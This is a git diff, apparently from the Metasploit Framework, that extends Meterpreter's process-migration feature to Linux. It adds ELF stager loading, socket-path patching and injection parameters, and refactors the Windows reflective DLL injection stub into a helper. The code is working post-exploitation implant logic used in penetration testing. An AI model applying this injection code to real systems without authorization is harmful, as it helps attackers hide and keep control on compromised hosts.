diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index 95eee22e7f..df8c93984e 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index d7c4ee9956..1d9021abf4 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 383bb0579c..6f164f27f6 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index b9e54612a9..f1034fde1a 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 00c7ca3d58..8cc2b8e457 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -25,6 +25,9 @@ module Meterpreter ### class ClientCore < Extension + UNIX_PATH_MAX = 108 + DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock" + # # Initializes the 'core' portion of the meterpreter client commands. # @@ -180,11 +183,13 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate( pid ) + def migrate(pid, writable_dir = nil) keepalive = client.send_keepalives client.send_keepalives = false process = nil binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) @@ -202,63 +207,58 @@ class ClientCore < Extension raise RuntimeError, "Cannot migrate into non existent process", caller end - # We cant migrate into a process that we are unable to open - if process['arch'].nil? or process['arch'].empty? - raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller + # We cannot migrate into a process that we are unable to open + # On linux, arch is empty even if we can access the process + if client.platform =~ /win/ + if process['arch'] == nil || process['arch'].empty? + raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller + end end - # And we also cant migrate into our own current process... + # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid raise RuntimeError, "Cannot migrate into current process", caller end - # Create a new payload stub - c = Class.new( ::Msf::Payload ) - c.include( ::Msf::Payload::Stager ) + if client.platform =~ /linux/ + if writable_dir.blank? + writable_dir = tmp_folder + end - # Include the appropriate reflective dll injection module for the target process architecture... - if process['arch'] == ARCH_X86 - c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "x86.dll" - elsif process['arch'] == ARCH_X86_64 - c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) - binary_suffix = "x64.dll" - else - raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller + stat_dir = client.fs.filestat.new(writable_dir) + + unless stat_dir.directory? + raise RuntimeError, "Directory #{writable_dir} not found", caller + end + # Rex::Post::FileStat#writable? isn't available end - # Create the migrate stager - migrate_stager = c.new() - - dll = MeterpreterBinaries.path('metsrv',binary_suffix) - if dll.nil? - raise RuntimeError, "metsrv.#{binary_suffix} not found", caller - end - migrate_stager.datastore['DLL'] = dll - - blob = migrate_stager.stage_payload - - if client.passive_service - - # - # Patch options into metsrv for reverse HTTP payloads - # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, - :ssl => client.ssl, - :url => self.client.url, - :expiration => self.client.expiration, - :comm_timeout => self.client.comm_timeout, - :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] - - end + blob = generate_payload_stub(process) # Build the migration request request = Packet.create_request( 'core_migrate' ) + + if client.platform =~ /linux/i + socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) + + if socket_path.length > UNIX_PATH_MAX - 1 + raise RuntimeError, "The writable dir is too long", caller + end + + pos = blob.index(DEFAULT_SOCK_PATH) + + if pos.nil? + raise RuntimeError, "The meterpreter binary is wrong", caller + end + + blob[pos, socket_path.length + 1] = socket_path + "\x00" + + ep = elf_ep(blob) + request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) + request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) + request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) + end + request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) @@ -307,15 +307,28 @@ class ClientCore < Extension end end - # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture - # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of. - # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this. - if process['arch'] == ARCH_X86_64 - client.platform = 'x64/win64' - client.binary_suffix = 'x64.dll' + # Update the meterpreter platform/suffix for loading extensions as we may + # have changed target architecture + # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a + # module this is the simplest solution I could think of. If the platform + # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change + # significantly we will need a better way to do this. + + case client.platform + when /win/i + if process['arch'] == ARCH_X86_64 + client.platform = 'x64/win64' + client.binary_suffix = 'x64.dll' + else + client.platform = 'x86/win32' + client.binary_suffix = 'x86.dll' + end + when /linux/i + client.platform = 'x86/linux' + client.binary_suffix = 'lso' else - client.platform = 'x86/win32' - client.binary_suffix = 'x86.dll' + client.platform = old_platform + client.binary_suffix = old_binary_suffix end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) @@ -348,6 +361,94 @@ class ClientCore < Extension true end + private + + def generate_payload_stub(process) + case client.platform + when /win/i + blob = generate_windows_stub(process) + when /linux/i + blob = generate_linux_stub + else + raise RuntimeError, "Unsupported platform '#{client.platform}'" + end + + blob + end + + def generate_windows_stub(process) + c = Class.new( ::Msf::Payload ) + c.include( ::Msf::Payload::Stager ) + + # Include the appropriate reflective dll injection module for the target process architecture... + if process['arch'] == ARCH_X86 + c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) + binary_suffix = "x86.dll" + elsif process['arch'] == ARCH_X86_64 + c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) + binary_suffix = "x64.dll" + else + raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller + end + + # Create the migrate stager + migrate_stager = c.new() + + dll = MeterpreterBinaries.path('metsrv',binary_suffix) + if dll.nil? + raise RuntimeError, "metsrv.#{binary_suffix} not found", caller + end + migrate_stager.datastore['DLL'] = dll + + blob = migrate_stager.stage_payload + + if client.passive_service + + # + # Patch options into metsrv for reverse HTTP payloads + # + Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + :ssl => client.ssl, + :url => self.client.url, + :expiration => self.client.expiration, + :comm_timeout => self.client.comm_timeout, + :ua => client.exploit_datastore['MeterpreterUserAgent'], + :proxyhost => client.exploit_datastore['PROXYHOST'], + :proxyport => client.exploit_datastore['PROXYPORT'], + :proxy_type => client.exploit_datastore['PROXY_TYPE'], + :proxy_username => client.exploit_datastore['PROXY_USERNAME'], + :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] + + end + + blob + end + + def generate_linux_stub + file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") + blob = ::File.open(file, "rb") {|f| + f.read(f.stat.size) + } + + blob + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) + ep = elf.elf_header.e_entry + return ep + end + + def tmp_folder + tmp = client.sys.config.getenv('TMPDIR') + + if tmp.blank? + tmp = '/tmp' + end + + tmp + end + end end; end; end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 9aeccc49a0..afd5d92f43 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -48,44 +48,47 @@ TLV_TEMP = 60000 # # TLV Specific Types # -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 -TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 +TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 +TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 +TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 +TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 +TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 -TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 -TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 +TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 +TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 +TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 +TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 +TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 +TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407 +TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408 +TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409 -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 +TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 +TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 # # Core flags diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 09a63403e9..b11d88f13e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -69,7 +69,7 @@ class Console::CommandDispatcher::Core # whatever reason it is not adding core_migrate to its list of commands. # Use a dumb platform til it gets sorted. #if client.commands.include? "core_migrate" - if client.platform =~ /win/ + if client.platform =~ /win/ || client.platform =~ /linux/ c["migrate"] = "Migrate the server to another process" end @@ -321,7 +321,11 @@ class Console::CommandDispatcher::Core end def cmd_migrate_help - print_line "Usage: migrate " + if client.platform =~ /linux/ + print_line "Usage: migrate [writable_path]" + else + print_line "Usage: migrate " + end print_line print_line "Migrates the server instance to another process." print_line "NOTE: Any open channels or other dynamic state will be lost." @@ -331,7 +335,8 @@ class Console::CommandDispatcher::Core # # Migrates the server to the supplied process identifier. # - # @param args [Array] Commandline arguments, only -h or a pid + # @param args [Array] Commandline arguments, -h or a pid. On linux + # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) if ( args.length == 0 or args.include?("-h") ) @@ -345,6 +350,10 @@ class Console::CommandDispatcher::Core return end + if client.platform =~ /linux/ + writable_dir = (args.length >= 2) ? args[1] : nil + end + begin server = client.sys.process.open rescue TimeoutError => e @@ -385,7 +394,11 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - client.core.migrate(pid) + if client.platform =~ /linux/ + client.core.migrate(pid, writable_dir) + else + client.core.migrate(pid) + end print_status("Migration completed successfully.")